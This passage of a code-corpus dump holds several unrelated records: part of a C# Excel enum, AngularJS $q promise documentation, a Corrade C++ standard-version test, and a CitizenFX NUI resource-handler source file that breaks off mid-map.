16\n\t /// </summary>\n\t ///<remarks> MSDN Online Documentation: http://msdn.microsoft.com/en-us/en-us/library/office/ff835313.aspx </remarks>\n\t[SupportByVersion(\"Excel\", 9,10,11,12,14,15,16)]\n\t[EntityType(EntityType.IsEnum)]\n\tpublic enum xlQueryType\n\t{\n\t\t /// <summary>\n\t\t /// SupportByVersion Excel 9, 10, 11, 12, 14, 15, 16\n\t\t /// </summary>\n\t\t /// <remarks>1</remarks>\n\t\t [SupportByVersion(\"Excel\", 9,10,11,12,14,15,16)]\n\t\t xlODBCQuery = 1,\n\n\t\t /// <summary>\n\t\t /// SupportByVersion Excel 9, 10, 11, 12, 14, 15, 16\n\t\t /// </summary>\n\t\t /// <remarks>2</remarks>\n\t\t [SupportByVersion(\"Excel\", 9,10,11,12,14,15,16)]\n\t\t xlDAORecordSet = 2,\n\n\t\t /// <summary>\n\t\t /// SupportByVersion Excel 9, 10, 11, 12, 14, 15, 16\n\t\t /// </summary>\n\t\t /// <remarks>4</remarks>\n\t\t [SupportByVersion(\"Excel\", 9,10,11,12,14,15,16)]\n\t\t xlWebQuery = 4,\n\n\t\t /// <summary>\n\t\t /// SupportByVersion Excel 9, 10, 11, 12, 14, 15, 16\n\t\t /// </summary>\n\t\t /// <remarks>5</remarks>\n\t\t [SupportByVersion(\"Excel\", 9,10,11,12,14,15,16)]\n\t\t xlOLEDBQuery = 5,\n\n\t\t /// <summary>\n\t\t /// SupportByVersion Excel 9, 10, 11, 12, 14, 15, 16\n\t\t /// </summary>\n\t\t /// <remarks>6</remarks>\n\t\t [SupportByVersion(\"Excel\", 9,10,11,12,14,15,16)]\n\t\t xlTextImport = 6,\n\n\t\t /// <summary>\n\t\t /// SupportByVersion Excel 9, 10, 11, 12, 14, 15, 16\n\t\t /// </summary>\n\t\t /// <remarks>7</remarks>\n\t\t [SupportByVersion(\"Excel\", 9,10,11,12,14,15,16)]\n\t\t xlADORecordset = 7\n\t}\n}"} {"text": "<a href='https://github.com/angular/angular.js/edit/v1.3.x/src/ng/q.js?message=docs($q)%3A%20describe%20your%20change...#L3' class='improve-docs btn btn-primary'><i class=\"glyphicon glyphicon-edit\">&nbsp;</i>Improve this Doc</a>\n\n\n\n<a href='https://github.com/angular/angular.js/tree/v1.3.1/src/ng/q.js#L3' class='view-source pull-right btn btn-primary'>\n <i class=\"glyphicon glyphicon-zoom-in\">&nbsp;</i>View Source\n</a>\n\n\n<header class=\"api-profile-header\">\n <h1 class=\"api-profile-header-heading\">$q</h1>\n <ol class=\"api-profile-header-structure naked-list step-list\">\n \n \n\n <li>\n - service in module <a href=\"api/ng\">ng</a>\n </li>\n </ol>\n</header>\n\n\n\n<div class=\"api-profile-description\">\n <p>A promise/deferred implementation inspired by <a href=\"https://github.com/kriskowal/q\">Kris Kowal&#39;s Q</a>.</p>\n<p>$q can be used in two fashions --- one which is more similar to Kris Kowal&#39;s Q or jQuery&#39;s Deferred\nimplementations, and the other which resembles ES6 promises to some degree.</p>\n<h1 id=\"-q-constructor\">$q constructor</h1>\n<p>The streamlined ES6 style promise is essentially just using $q as a constructor which takes a <code>resolver</code>\nfunction as the first argument. This is similar to the native Promise implementation from ES6 Harmony,\nsee <a href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise\">MDN</a>.</p>\n<p>While the constructor-style use is supported, not all of the supporting methods from ES6 Harmony promises are\navailable yet.</p>\n<p>It can be used like so:</p>\n<pre><code class=\"lang-js\">// for the purpose of this example let&#39;s assume that variables `$q` and `okToGreet`\n// are available in the current lexical scope (they could have been injected or passed in).\n\nfunction asyncGreet(name) {\n // perform some asynchronous operation, resolve or reject the promise when appropriate.\n return $q(function(resolve, reject) {\n setTimeout(function() {\n if (okToGreet(name)) {\n resolve(&#39;Hello, &#39; + name + &#39;!&#39;);\n } else {\n reject(&#39;Greeting &#39; + name + &#39; is not allowed.&#39;);\n }\n }, 1000);\n });\n}\n\nvar promise = asyncGreet(&#39;Robin Hood&#39;);\npromise.then(function(greeting) {\n alert(&#39;Success: &#39; + greeting);\n}, function(reason) {\n alert(&#39;Failed: &#39; + reason);\n});\n</code></pre>\n<p>Note: progress/notify callbacks are not currently supported via the ES6-style interface.</p>\n<p>However, the more traditional CommonJS-style usage is still available, and documented below.</p>\n<p><a href=\"http://wiki.commonjs.org/wiki/Promises\">The CommonJS Promise proposal</a> describes a promise as an\ninterface for interacting with an object that represents the result of an action that is\nperformed asynchronously, and may or may not be finished at any given point in time.</p>\n<p>From the perspective of dealing with error handling, deferred and promise APIs are to\nasynchronous programming what <code>try</code>, <code>catch</code> and <code>throw</code> keywords are to synchronous programming.</p>\n<pre><code class=\"lang-js\">// for the purpose of this example let&#39;s assume that variables `$q` and `okToGreet`\n// are available in the current lexical scope (they could have been injected or passed in).\n\nfunction asyncGreet(name) {\n var deferred = $q.defer();\n\n setTimeout(function() {\n deferred.notify(&#39;About to greet &#39; + name + &#39;.&#39;);\n\n if (okToGreet(name)) {\n deferred.resolve(&#39;Hello, &#39; + name + &#39;!&#39;);\n } else {\n deferred.reject(&#39;Greeting &#39; + name + &#39; is not allowed.&#39;);\n }\n }, 1000);\n\n return deferred.promise;\n}\n\nvar promise = asyncGreet(&#39;Robin Hood&#39;);\npromise.then(function(greeting) {\n alert(&#39;Success: &#39; + greeting);\n}, function(reason) {\n alert(&#39;Failed: &#39; + reason);\n}, function(update) {\n alert(&#39;Got notification: &#39; + update);\n});\n</code></pre>\n<p>At first it might not be obvious why this extra complexity is worth the trouble. The payoff\ncomes in the way of guarantees that promise and deferred APIs make, see\n<a href=\"https://github.com/kriskowal/uncommonjs/blob/master/promises/specification.md\">https://github.com/kriskowal/uncommonjs/blob/master/promises/specification.md</a>.</p>\n<p>Additionally the promise api allows for composition that is very hard to do with the\ntraditional callback (<a href=\"http://en.wikipedia.org/wiki/Continuation-passing_style\">CPS</a>) approach.\nFor more on this please see the <a href=\"https://github.com/kriskowal/q\">Q documentation</a> especially the\nsection on serial or parallel joining of promises.</p>\n<h1 id=\"the-deferred-api\">The Deferred API</h1>\n<p>A new instance of deferred is constructed by calling <code>$q.defer()</code>.</p>\n<p>The purpose of the deferred object is to expose the associated Promise instance as well as APIs\nthat can be used for signaling the successful or unsuccessful completion, as well as the status\nof the task.</p>\n<p><strong>Methods</strong></p>\n<ul>\n<li><code>resolve(value)</code> – resolves the derived promise with the <code>value</code>. If the value is a rejection\nconstructed via <code>$q.reject</code>, the promise will be rejected instead.</li>\n<li><code>reject(reason)</code> – rejects the derived promise with the <code>reason</code>. This is equivalent to\nresolving it with a rejection constructed via <code>$q.reject</code>.</li>\n<li><code>notify(value)</code> - provides updates on the status of the promise&#39;s execution. This may be called\nmultiple times before the promise is either resolved or rejected.</li>\n</ul>\n<p><strong>Properties</strong></p>\n<ul>\n<li>promise – <code>{Promise}</code> – promise object associated with this deferred.</li>\n</ul>\n<h1 id=\"the-promise-api\">The Promise API</h1>\n<p>A new promise instance is created when a deferred instance is created and can be retrieved by\ncalling <code>deferred.promise</code>.</p>\n<p>The purpose of the promise object is to allow for interested parties to get access to the result\nof the deferred task when it completes.</p>\n<p><strong>Methods</strong></p>\n<ul>\n<li><p><code>then(successCallback, errorCallback, notifyCallback)</code> – regardless of when the promise was or\nwill be resolved or rejected, <code>then</code> calls one of the success or error callbacks asynchronously\nas soon as the result is available. The callbacks are called with a single argument: the result\nor rejection reason. Additionally, the notify callback may be called zero or more times to\nprovide a progress indication, before the promise is resolved or rejected.</p>\n<p>This method <em>returns a new promise</em> which is resolved or rejected via the return value of the\n<code>successCallback</code>, <code>errorCallback</code>. It also notifies via the return value of the\n<code>notifyCallback</code> method. The promise cannot be resolved or rejected from the notifyCallback\nmethod.</p>\n</li>\n<li><p><code>catch(errorCallback)</code> – shorthand for <code>promise.then(null, errorCallback)</code></p>\n</li>\n<li><p><code>finally(callback)</code> – allows you to observe either the fulfillment or rejection of a promise,\nbut to do so without modifying the final value. This is useful to release resources or do some\nclean-up that needs to be done whether the promise was rejected or resolved. See the <a href=\"https://github.com/kriskowal/q/wiki/API-Reference#promisefinallycallback\">full\nspecification</a> for\nmore information.</p>\n<p>Because <code>finally</code> is a reserved word in JavaScript and reserved keywords are not supported as\nproperty names by ES3, you&#39;ll need to invoke the method like <code>promise[&#39;finally&#39;](callback)</code> to\nmake your code IE8 and Android 2.x compatible.</p>\n</li>\n</ul>\n<h1 id=\"chaining-promises\">Chaining promises</h1>\n<p>Because calling the <code>then</code> method of a promise returns a new derived promise, it is easily\npossible to create a chain of promises:</p>\n<pre><code class=\"lang-js\">promiseB = promiseA.then(function(result) {\n return result + 1;\n});\n\n// promiseB will be resolved immediately after promiseA is resolved and its value\n// will be the result of promiseA incremented by 1\n</code></pre>\n<p>It is possible to create chains of any length and since a promise can be resolved with another\npromise (which will defer its resolution further), it is possible to pause/defer resolution of\nthe promises at any point in the chain. This makes it possible to implement powerful APIs like\n$http&#39;s response interceptors.</p>\n<h1 id=\"differences-between-kris-kowal-s-q-and-q\">Differences between Kris Kowal&#39;s Q and $q</h1>\n<p> There are two main differences:</p>\n<ul>\n<li>$q is integrated with the <a href=\"api/ng/type/$rootScope.Scope\"><code>$rootScope.Scope</code></a> Scope model observation\nmechanism in angular, which means faster propagation of resolution or rejection into your\nmodels and avoiding unnecessary browser repaints, which would result in flickering UI.</li>\n<li><p>Q has many more features than $q, but that comes at a cost of bytes. $q is tiny, but contains\nall the important functionality needed for common async tasks.</p>\n<h1 id=\"testing\">Testing</h1>\n<pre><code class=\"lang-js\">it(&#39;should simulate promise&#39;, inject(function($q, $rootScope) {\n var deferred = $q.defer();\n var promise = deferred.promise;\n var resolvedValue;\n\n promise.then(function(value) { resolvedValue = value; });\n expect(resolvedValue).toBeUndefined();\n\n // Simulate resolving of promise\n deferred.resolve(123);\n // Note that the &#39;then&#39; function does not get called synchronously.\n // This is because we want the promise API to always be async, whether or not\n // it got called synchronously or asynchronously.\n expect(resolvedValue).toBeUndefined();\n\n // Propagate promise resolution to &#39;then&#39; functions using $apply().\n $rootScope.$apply();\n expect(resolvedValue).toEqual(123);\n}));\n</code></pre>\n</li>\n</ul>\n\n</div>\n\n\n\n\n<div>\n \n <h2 id=\"dependencies\">Dependencies</h2>\n <ul>\n <li><a href=\"api/ng/service/$rootScope\"><code>$rootScope</code></a></li>\n </ul>\n \n\n \n\n <h2 id=\"usage\">Usage</h2>\n \n <p><code>$q(resolver);</code></p>\n\n\n \n\n \n<section class=\"api-section\">\n <h3>Arguments</h3>\n\n<table class=\"variables-matrix input-arguments\">\n <thead>\n <tr>\n <th>Param</th>\n <th>Type</th>\n <th>Details</th>\n </tr>\n </thead>\n <tbody>\n \n <tr>\n <td>\n resolver\n \n \n </td>\n <td>\n <a href=\"\" class=\"label type-hint type-hint-function\">function(function, function)</a>\n </td>\n <td>\n <p>Function which is responsible for resolving or\n rejecting the newly created promise. The first parameter is a function which resolves the\n promise, the second parameter is a function which rejects the promise.</p>\n\n \n </td>\n </tr>\n \n </tbody>\n</table>\n\n</section>\n \n <h3>Returns</h3>\n<table class=\"variables-matrix return-arguments\">\n <tr>\n <td><a href=\"\" class=\"label type-hint type-hint-promise\">Promise</a></td>\n <td><p>The newly created promise.</p>\n</td>\n </tr>\n</table>\n\n \n<h2>Methods</h2>\n<ul class=\"methods\">\n <li id=\"defer\">\n <h3><p><code>defer();</code></p>\n\n</h3>\n <div><p>Creates a <code>Deferred</code> object which represents a task which will finish in the future.</p>\n</div>\n\n \n\n \n \n \n <h4>Returns</h4>\n <table class=\"variables-matrix return-arguments\">\n <tr>\n <td><a href=\"\" class=\"label type-hint type-hint-deferred\">Deferred</a></td>\n <td><p>Returns a new instance of deferred.</p>\n</td>\n </tr>\n</table>\n \n\n </li>\n \n <li id=\"reject\">\n <h3><p><code>reject(reason);</code></p>\n\n</h3>\n <div><p>Creates a promise that is resolved as rejected with the specified <code>reason</code>. This api should be\nused to forward rejection in a chain of promises. If you are dealing with the last promise in\na promise chain, you don&#39;t need to worry about it.</p>\n<p>When comparing deferreds/promises to the familiar behavior of try/catch/throw, think of\n<code>reject</code> as the <code>throw</code> keyword in JavaScript. This also means that if you &quot;catch&quot; an error via\na promise error callback and you want to forward the error to the promise derived from the\ncurrent promise, you have to &quot;rethrow&quot; the error by returning a rejection constructed via\n<code>reject</code>.</p>\n<pre><code class=\"lang-js\">promiseB = promiseA.then(function(result) {\n // success: do something and resolve promiseB\n // with the old or a new result\n return result;\n}, function(reason) {\n // error: handle the error if possible and\n // resolve promiseB with newPromiseOrValue,\n // otherwise forward the rejection to promiseB\n if (canHandle(reason)) {\n // handle the error and recover\n return newPromiseOrValue;\n }\n return $q.reject(reason);\n});\n</code></pre>\n</div>\n\n \n <h4>Parameters</h4>\n \n<table class=\"variables-matrix input-arguments\">\n <thead>\n <tr>\n <th>Param</th>\n <th>Type</th>\n <th>Details</th>\n </tr>\n </thead>\n <tbody>\n \n <tr>\n <td>\n reason\n \n \n </td>\n <td>\n <a href=\"\" class=\"label type-hint type-hint-object\">*</a>\n </td>\n <td>\n <p>Constant, message, exception or an object representing the rejection reason.</p>\n\n \n </td>\n </tr>\n \n </tbody>\n</table>\n\n \n\n \n \n \n <h4>Returns</h4>\n <table class=\"variables-matrix return-arguments\">\n <tr>\n <td><a href=\"\" class=\"label type-hint type-hint-promise\">Promise</a></td>\n <td><p>Returns a promise that was already resolved as rejected with the <code>reason</code>.</p>\n</td>\n </tr>\n</table>\n \n\n </li>\n \n <li id=\"when\">\n <h3><p><code>when(value);</code></p>\n\n</h3>\n <div><p>Wraps an object that might be a value or a (3rd party) then-able promise into a $q promise.\nThis is useful when you are dealing with an object that might or might not be a promise, or if\nthe promise comes from a source that can&#39;t be trusted.</p>\n</div>\n\n \n <h4>Parameters</h4>\n \n<table class=\"variables-matrix input-arguments\">\n <thead>\n <tr>\n <th>Param</th>\n <th>Type</th>\n <th>Details</th>\n </tr>\n </thead>\n <tbody>\n \n <tr>\n <td>\n value\n \n \n </td>\n <td>\n <a href=\"\" class=\"label type-hint type-hint-object\">*</a>\n </td>\n <td>\n <p>Value or a promise</p>\n\n \n </td>\n </tr>\n \n </tbody>\n</table>\n\n \n\n \n \n \n <h4>Returns</h4>\n <table class=\"variables-matrix return-arguments\">\n <tr>\n <td><a href=\"\" class=\"label type-hint type-hint-promise\">Promise</a></td>\n <td><p>Returns a promise of the passed value or promise</p>\n</td>\n </tr>\n</table>\n \n\n </li>\n \n <li id=\"all\">\n <h3><p><code>all(promises);</code></p>\n\n</h3>\n <div><p>Combines multiple promises into a single promise that is resolved when all of the input\npromises are resolved.</p>\n</div>\n\n \n <h4>Parameters</h4>\n \n<table class=\"variables-matrix input-arguments\">\n <thead>\n <tr>\n <th>Param</th>\n <th>Type</th>\n <th>Details</th>\n </tr>\n </thead>\n <tbody>\n \n <tr>\n <td>\n promises\n \n \n </td>\n <td>\n <a href=\"\" class=\"label type-hint type-hint-array\">Array.&lt;Promise&gt;</a><a href=\"\" class=\"label type-hint type-hint-object\">Object.&lt;Promise&gt;</a>\n </td>\n <td>\n <p>An array or hash of promises.</p>\n\n \n </td>\n </tr>\n \n </tbody>\n</table>\n\n \n\n \n \n \n <h4>Returns</h4>\n <table class=\"variables-matrix return-arguments\">\n <tr>\n <td><a href=\"\" class=\"label type-hint type-hint-promise\">Promise</a></td>\n <td><p>Returns a single promise that will be resolved with an array/hash of values,\n each value corresponding to the promise at the same index/key in the <code>promises</code> array/hash.\n If any of the promises is resolved with a rejection, this resulting promise will be rejected\n with the same rejection value.</p>\n</td>\n </tr>\n</table>\n \n\n </li>\n </ul>\n \n \n\n\n\n \n</div>\n\n\n"} {"text": "/*\n This file is part of Corrade.\n\n Copyright © 2007, 2008, 2009, 2010, 2011, 2012, 2013, 2014, 2015, 2016,\n 2017, 2018, 2019, 2020 Vladimír Vondruš <mosra@centrum.cz>\n\n Permission is hereby granted, free of charge, to any person obtaining a\n copy of this software and associated documentation files (the \"Software\"),\n to deal in the Software without restriction, including without limitation\n the rights to use, copy, modify, merge, publish, distribute, sublicense,\n and/or sell copies of the Software, and to permit persons to whom the\n Software is furnished to do so, subject to the following conditions:\n\n The above copyright notice and this permission notice shall be included\n in all copies or substantial portions of the Software.\n\n THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL\n THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER\n DEALINGS IN THE SOFTWARE.\n*/\n\n#include \"Corrade/TestSuite/Tester.h\"\n#include \"Corrade/TestSuite/Compare/Numeric.h\"\n\nnamespace Corrade { namespace Test { namespace {\n\nstruct CppStandardTest: TestSuite::Tester {\n explicit CppStandardTest();\n\n void test();\n};\n\nCppStandardTest::CppStandardTest() {\n #ifdef COMPILING_AS_CPP11\n setTestName(\"Cpp11StandardTest\");\n #elif defined(COMPILING_AS_CPP14)\n setTestName(TEST_NAME);\n #elif defined(COMPILING_AS_CPP17)\n setTestName(\"Cpp17StandardTest\");\n #elif defined(COMPILING_AS_CPP2A)\n setTestName(\"Cpp2aStandardTest\");\n #else\n #error no standard version macro passed from buildsystem\n #endif\n\n addTests({&CppStandardTest::test});\n}\n\nvoid CppStandardTest::test() {\n Debug{} << \"Standard version using __cplusplus:\" << __cplusplus;\n Debug{} << \"Standard version using CORRADE_CXX_STANDARD:\" << CORRADE_CXX_STANDARD;\n\n #ifdef COMPILING_AS_CPP11\n {\n #ifdef _MSC_VER\n CORRADE_EXPECT_FAIL(\"MSVC always compiles at least as C++14.\");\n #endif\n CORRADE_COMPARE(CORRADE_CXX_STANDARD, 201103L);\n }\n #ifdef _MSC_VER\n CORRADE_COMPARE(CORRADE_CXX_STANDARD, 201402L);\n #endif\n #elif defined(COMPILING_AS_CPP14)\n CORRADE_COMPARE(CORRADE_CXX_STANDARD, 201402L);\n #elif defined(COMPILING_AS_CPP17)\n CORRADE_COMPARE(CORRADE_CXX_STANDARD, 201703L);\n #elif defined(COMPILING_AS_CPP2A)\n CORRADE_COMPARE_AS(CORRADE_CXX_STANDARD, 201703L,\n TestSuite::Compare::Greater);\n #else\n #error no standard version macro passed from the buildsystem\n #endif\n}\n\n}}}\n\nCORRADE_TEST_MAIN(Corrade::Test::CppStandardTest)\n"} {"text": "/*\r\n * This file is part of the CitizenFX project - http://citizen.re/\r\n *\r\n * See LICENSE and MENTIONS in the root of the source tree for information\r\n * regarding licensing.\r\n */\r\n\r\n#include \"StdInc.h\"\r\n#include \"CefOverlay.h\"\r\n#include \"NUISchemeHandlerFactory.h\"\r\n#include <NUIClient.h>\r\n\r\n#include <VFSManager.h>\r\n#include <include/cef_parser.h>\r\n\r\n#include \"memdbgon.h\"\r\n\r\nstatic std::atomic<int> g_fileHandleCount;\r\nstatic std::queue<std::function<void()>> g_deleteQueue;\r\n\r\nstatic nui::TResourceLookupFn g_resourceLookupFunc;\r\n\r\nextern const std::map<std::string, std::string, std::less<>> g_mimeTypeMap;\r\n\r\nnamespace nui\r\n{\r\n\tvoid SetResourceLookupFunction(const nui::TResourceLookupFn& fn)\r\n\t{\r\n\t\tg_resourceLookupFunc = fn;\r\n\t}\r\n}\r\n\r\nclass NUIResourceHandler : public CefResourceHandler\r\n{\r\nprivate:\r\n\tstd::string mimeType_;\r\n\r\n\tbool dataManaged_;\r\n\r\n\tint read_;\r\n\r\n\tfwRefContainer<vfs::Device> device_;\r\n\r\n\tstd::string filename_;\r\n\r\n\tuintptr_t file_;\r\n\r\n\tbool closed_;\r\npublic:\r\n\tNUIResourceHandler()\r\n\t{\r\n\t\tclosed_ = false;\r\n\t\tfile_ = -1;\r\n\t}\r\n\r\n\tvirtual ~NUIResourceHandler()\r\n\t{\r\n\t\tif (file_ && file_ != -1 && !closed_)\r\n\t\t{\r\n\t\t\tdevice_->Close(file_);\r\n\t\t}\r\n\r\n\t\tg_fileHandleCount.fetch_sub(1);\r\n\r\n\t\tif (!g_deleteQueue.empty())\r\n\t\t{\r\n\t\t\tg_deleteQueue.front()();\r\n\t\t\tg_deleteQueue.pop();\r\n\t\t}\r\n\t}\r\n\r\n\tvirtual bool ProcessRequest(CefRefPtr<CefRequest> request, CefRefPtr<CefCallback> callback)\r\n\t{\r\n\t\tstd::string url = request->GetURL();\r\n\t\tstd::wstring hostname;\r\n\t\tstd::wstring path;\r\n\r\n\t\tCefURLParts parts;\r\n\t\tCefParseURL(url, parts);\r\n\r\n\t\thostname = CefString(&parts.host);\r\n\t\tpath = CefString(&parts.path);\r\n\r\n\t\tstd::wstring_convert<std::codecvt_utf8_utf16<wchar_t>, wchar_t> converter;\r\n\r\n\t\tif (hostname == L\"game\" || hostname == L\"nui-game-internal\")\r\n\t\t{\r\n\t\t\tfilename_ = \"citizen:/\";\r\n\t\t\t\r\n\t\t\tfilename_ += converter.to_bytes(path).substr(1);\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\tif (hostname.find(L\"cfx-nui-\") == 0)\r\n\t\t\t{\r\n\t\t\t\thostname = hostname.substr(8);\r\n\t\t\t}\r\n\r\n\t\t\tif (g_resourceLookupFunc)\r\n\t\t\t{\r\n\t\t\t\tfilename_ = g_resourceLookupFunc(ToNarrow(hostname));\r\n\t\t\t}\r\n\t\t\telse\r\n\t\t\t{\r\n\t\t\t\tfilename_ = \"resources:/\";\r\n\t\t\t\tfilename_ += converter.to_bytes(hostname) + \"/\";\r\n\t\t\t}\r\n\r\n\t\t\tfilename_ += converter.to_bytes(path);\r\n\t\t}\r\n\r\n\t\t// remove # parts\r\n\t\tauto hash = filename_.find_first_of(L'#');\r\n\r\n\t\tif (hash != std::string::npos)\r\n\t\t{\r\n\t\t\t//filename_.resize(hash);\r\n\t\t\tfilename_.erase(hash);\r\n\t\t}\r\n\r\n\t\thash = filename_.find_first_of(L'?');\r\n\r\n\t\tif (hash != std::string::npos)\r\n\t\t{\r\n\t\t\t//filename_.resize(hash);\r\n\t\t\tfilename_.erase(hash);\r\n\t\t}\r\n\r\n\t\tif (filename_.length() >= 256)\r\n\t\t{\r\n\t\t\tfilename_ = filename_.substr(0, 255);\r\n\t\t}\r\n\r\n\t\tdevice_ = vfs::GetDevice(filename_);\r\n\r\n\t\tint count = g_fileHandleCount.fetch_add(1);\r\n\r\n\t\tauto handleOpen = [=] ()\r\n\t\t{\r\n\t\t\tif (device_.GetRef() && filename_.find(\"..\") == std::string::npos)\r\n\t\t\t{\r\n\t\t\t\tfile_ = device_->Open(filename_.c_str(), true);\r\n\t\t\t}\r\n\r\n\t\t\t// set mime type\r\n\t\t\tstd::string ext = url.substr(url.rfind('.') + 1);\r\n\r\n\t\t\tmimeType_ = \"text/html\";\r\n\r\n\t\t\tauto it = g_mimeTypeMap.find(ext);\r\n\r\n\t\t\tif (it != g_mimeTypeMap.end())\r\n\t\t\t{\r\n\t\t\t\tmimeType_ = it->second;\r\n\t\t\t}\r\n\r\n\t\t\tcallback->Continue();\r\n\t\t};\r\n\r\n\t\tif (count < 2)\r\n\t\t{\r\n\t\t\thandleOpen();\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\tg_deleteQueue.push(handleOpen);\r\n\t\t}\r\n\r\n\t\treturn true;\r\n\t}\r\n\r\n\tvirtual void GetResponseHeaders(CefRefPtr<CefResponse> response, int64& response_length, CefString& redirectUrl)\r\n\t{\r\n\t\tresponse->SetMimeType(mimeType_);\r\n\r\n\t\tif (file_ == -1)\r\n\t\t{\r\n\t\t\tresponse->SetStatus(404);\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\tresponse->SetStatus(200);\r\n\t\t}\r\n\r\n\t\tCefResponse::HeaderMap map;\r\n\t\tresponse->GetHeaderMap(map);\r\n\r\n\t\tif (mimeType_ == \"text/html\" || mimeType_ == \"text/css\" || mimeType_ == \"application/javascript\")\r\n\t\t{\r\n\t\t\tmap.insert({ \"content-type\", mimeType_ + \"; charset=utf-8\" });\r\n\t\t}\r\n\r\n\t\tmap.insert({ \"cache-control\", \"no-cache, must-revalidate\" });\r\n\t\tresponse->SetHeaderMap(map);\r\n\r\n\t\tif (file_ != -1)\r\n\t\t{\r\n\t\t\tresponse_length = device_->GetLength(file_);\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\tresponse_length = 0;\r\n\t\t}\r\n\t}\r\n\r\n\tvirtual void Cancel()\r\n\t{\r\n\t\tclosed_ = true;\r\n\r\n\t\tif (file_ != -1)\r\n\t\t{\r\n\t\t\tdevice_->Close(file_);\r\n\t\t}\r\n\t}\r\n\r\n\tvirtual bool ReadResponse(void* data_out, int bytes_to_read, int& bytes_read, CefRefPtr<CefCallback> callback)\r\n\t{\r\n\t\tif (file_ != -1)\r\n\t\t{\r\n\t\t\tbytes_read = device_->Read(file_, data_out, bytes_to_read);\r\n\r\n\t\t\treturn (bytes_read > 0);\r\n\t\t}\r\n\r\n\t\treturn false;\r\n\t}\r\n\r\n\tIMPLEMENT_REFCOUNTING(NUIResourceHandler);\r\n};\r\n\r\nclass ForbiddenResourceHandler : public CefResourceHandler\r\n{\r\npublic:\r\n\tIMPLEMENT_REFCOUNTING(ForbiddenResourceHandler);\r\n\r\n\tvirtual bool ProcessRequest(CefRefPtr<CefRequest> request, CefRefPtr<CefCallback> callback) override\r\n\t{\r\n\t\tcallback->Continue();\r\n\t\treturn true;\r\n\t}\r\n\r\n\tvirtual void GetResponseHeaders(CefRefPtr<CefResponse> response, int64& response_length, CefString& redirectUrl) override\r\n\t{\r\n\t\tresponse->SetStatus(403);\r\n\t\tresponse_length = 0;\r\n\t}\r\n\r\n\tvirtual bool ReadResponse(void* data_out, int bytes_to_read, int& bytes_read, CefRefPtr<CefCallback> callback) override\r\n\t{\r\n\t\tbytes_read = 0;\r\n\r\n\t\treturn true;\r\n\t}\r\n\r\n\tvirtual void Cancel() override\r\n\t{\r\n\t}\r\n};\r\n\r\nvoid NUISchemeHandlerFactory::SetRequestBlacklist(const std::vector<std::regex>& requestBlacklist)\r\n{\r\n\tm_requestBlacklist = requestBlacklist;\r\n}\r\n\r\nCefRefPtr<CefResourceHandler> NUISchemeHandlerFactory::Create(CefRefPtr<CefBrowser> browser, CefRefPtr<CefFrame> frame, const CefString& scheme_name, CefRefPtr<CefRequest> request)\r\n{\r\n\tif (scheme_name == \"nui\")\r\n\t{\r\n\t\treturn new NUIResourceHandler();\r\n\t}\r\n\telse if (scheme_name == \"https\")\r\n\t{\r\n\t\t// parse the URL to get the hostname\r\n\t\tCefString url = request->GetURL();\r\n\t\tCefURLParts urlParts;\r\n\r\n\t\tif (CefParseURL(url, urlParts))\r\n\t\t{\r\n\t\t\tCefString hostString = &urlParts.host;\r\n\r\n\t\t\tif (hostString == \"nui-game-internal\")\r\n\t\t\t{\r\n\t\t\t\treturn new NUIResourceHandler();\r\n\t\t\t}\r\n\t\t\telse if (hostString.ToString().find(\"cfx-nui-\") == 0)\r\n\t\t\t{\r\n\t\t\t\treturn new NUIResourceHandler();\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\telse if (scheme_name == \"ws\" || scheme_name == \"wss\")\r\n\t{\r\n\t\tfor (auto& reg : m_requestBlacklist)\r\n\t\t{\r\n\t\t\tstd::string url = request->GetURL().ToString();\r\n\r\n\t\t\tif (std::regex_search(url, reg))\r\n\t\t\t{\r\n\t\t\t\ttrace(\"Blocked a request for blacklisted URI %s\\n\", url);\r\n\t\t\t\treturn new ForbiddenResourceHandler();\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\treturn nullptr;\r\n\t}\r\n\r\n\tCefRefPtr<CefResourceHandler> outHandler;\r\n\r\n\tOnSchemeCreateRequest(scheme_name.ToString().c_str(), request, outHandler);\r\n\r\n\treturn outHandler;\r\n}\r\n\r\nOVERLAY_DECL fwEvent<const char*, CefRefPtr<CefRequest>, CefRefPtr<CefResourceHandler>&> OnSchemeCreateRequest;\r\n\r\nconst std::map<std::string, std::string, std::less<>> g_mimeTypeMap = {\r\n\t{ \"*3gpp\", \"audio/3gpp\" },\r\n\t{ \"*jpm\", \"video/jpm\" },\r\n\t{ \"*mp3\", \"audio/mp3\" },\r\n\t{ \"*rtf\", \"text/rtf\" },\r\n\t{ \"*wav\", \"audio/wave\" },\r\n\t{ \"*xml\", \"text/xml\" },\r\n\t{ \"3g2\", \"video/3gpp2\" },\r\n\t{ \"3gp\", \"video/3gpp\" },\r\n\t{ \"3gpp\", \"video/3gpp\" },\r\n\t{ \"ac\", \"application/pkix-attr-cert\" },\r\n\t{ \"adp\", \"audio/adpcm\" },\r\n\t{ \"ai\", \"application/postscript\" },\r\n\t{ \"apng\", \"image/apng\" },\r\n\t{ \"appcache\", \"text/cache-manifest\" },\r\n\t{ \"asc\", \"application/pgp-signature\" },\r\n\t{ \"atom\", \"application/atom+xml\" },\r\n\t{ \"atomcat\", \"application/atomcat+xml\" },\r\n\t{ \"atomsvc\", \"application/atomsvc+xml\" },\r\n\t{ \"au\", \"audio/basic\" },\r\n\t{ \"aw\", \"application/applixware\" },\r\n\t{ \"bdoc\", \"application/bdoc\" },\r\n\t{ \"bin\", \"application/octet-stream\" },\r\n\t{ \"bmp\", \"image/bmp\" },\r\n\t{ \"bpk\", \"application/octet-stream\" },\r\n\t{ \"buffer\", \"application/octet-stream\" },\r\n\t{ \"ccxml\", 